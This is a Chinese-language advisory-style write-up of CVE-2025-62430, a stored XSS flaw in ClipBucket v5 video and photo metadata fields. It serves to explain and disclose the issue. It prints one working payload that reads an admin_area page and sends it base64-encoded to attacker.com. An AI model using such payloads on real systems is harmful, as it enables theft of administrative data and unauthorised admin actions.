CVE-2025-62430ClipBucket v5是一款开源的视频共享平台,该平台允许用户上传、管理和分享视频及照片内容。CVE-2025-62430是存在于ClipBucket v5中的一项存储型跨站脚本(Stored XSS)漏洞,影响版本为5.5.2 #145及之前的所有版本。
该漏洞源于平台对用户输入的视频和照片元数据字段缺乏充分的输入清理与输出编码。在视频方面,受影响的字段包括Tags标签字段,以及Movieinfos中的Genre(类型)、Actors(演员)、Producer(制片人)、Executive Producer(执行制片人)和Director(导演)等字段。在照片方面,Photo Title(照片标题)和Photo Tags(照片标签)字段同样存在输入验证不足的问题。
拥有编辑视频或照片权限的普通用户可以通过这些字段注入恶意脚本,例如通过提交包含闭合分隔符后跟script元素的载荷。注入的脚本会在任何用户(包括未认证的访客和管理员)查看受影响的视频或照片页面时执行。尽管Cookie设置了HttpOnly属性无法直接读取,但攻击者注入的脚本仍可以向admin_area等管理端点发起fetch请求,从而窃取其内容或触发非预期的管理操作。该漏洞的CVSS评分为5.4,属于中危级别,攻击向量为网络,无需认证即可利用,但需要用户交互(如查看受影响的页面)才能触发攻击。
该漏洞的核心原理是ClipBucket v5在处理用户提交的元数据字段时,未对用户输入进行充分的HTML实体编码或过滤,导致恶意JavaScript代码能够被持久化存储到数据库中,并在页面渲染时作为HTML内容直接输出执行。
技术实现层面,攻击者首先需要拥有一个具有视频或照片编辑权限的普通用户账户。攻击者通过编辑视频或照片的元数据字段,在Tags、Genre、Actors、Producer、Executive Producer、Director、Photo Title或Photo Tags等字段中提交包含恶意脚本的载荷。典型的XSS载荷形式为:`"></div><script>fetch('/admin_area/...').then(r=>r.text()).then(d=>fetch('https://attacker.com/?'+btoa(d)))</script>`。
由于后端未对这些字段进行适当的输入清理和输出编码,恶意脚本被直接存储到数据库中。当任何用户(包括未认证访客和管理员)访问展示该视频或照片的页面时,服务器从数据库中读取元数据并将其嵌入HTML响应中,浏览器解析时执行注入的脚本。
尽管ClipBucket设置了HttpOnly Cookie属性,阻止了直接通过document.cookie窃取会话信息,但攻击者仍可通过fetch API向管理后台端点(如admin_area下的敏感页面)发起请求,获取页面内容后通过外带通道(如将数据编码后发送到攻击者控制的服务器)实现数据窃取,或触发管理操作(如修改配置、创建管理员账户等)。这种攻击方式使得漏洞的危害性显著提升,即使无法直接获取会话凭证,仍可能造成严重的安全后果。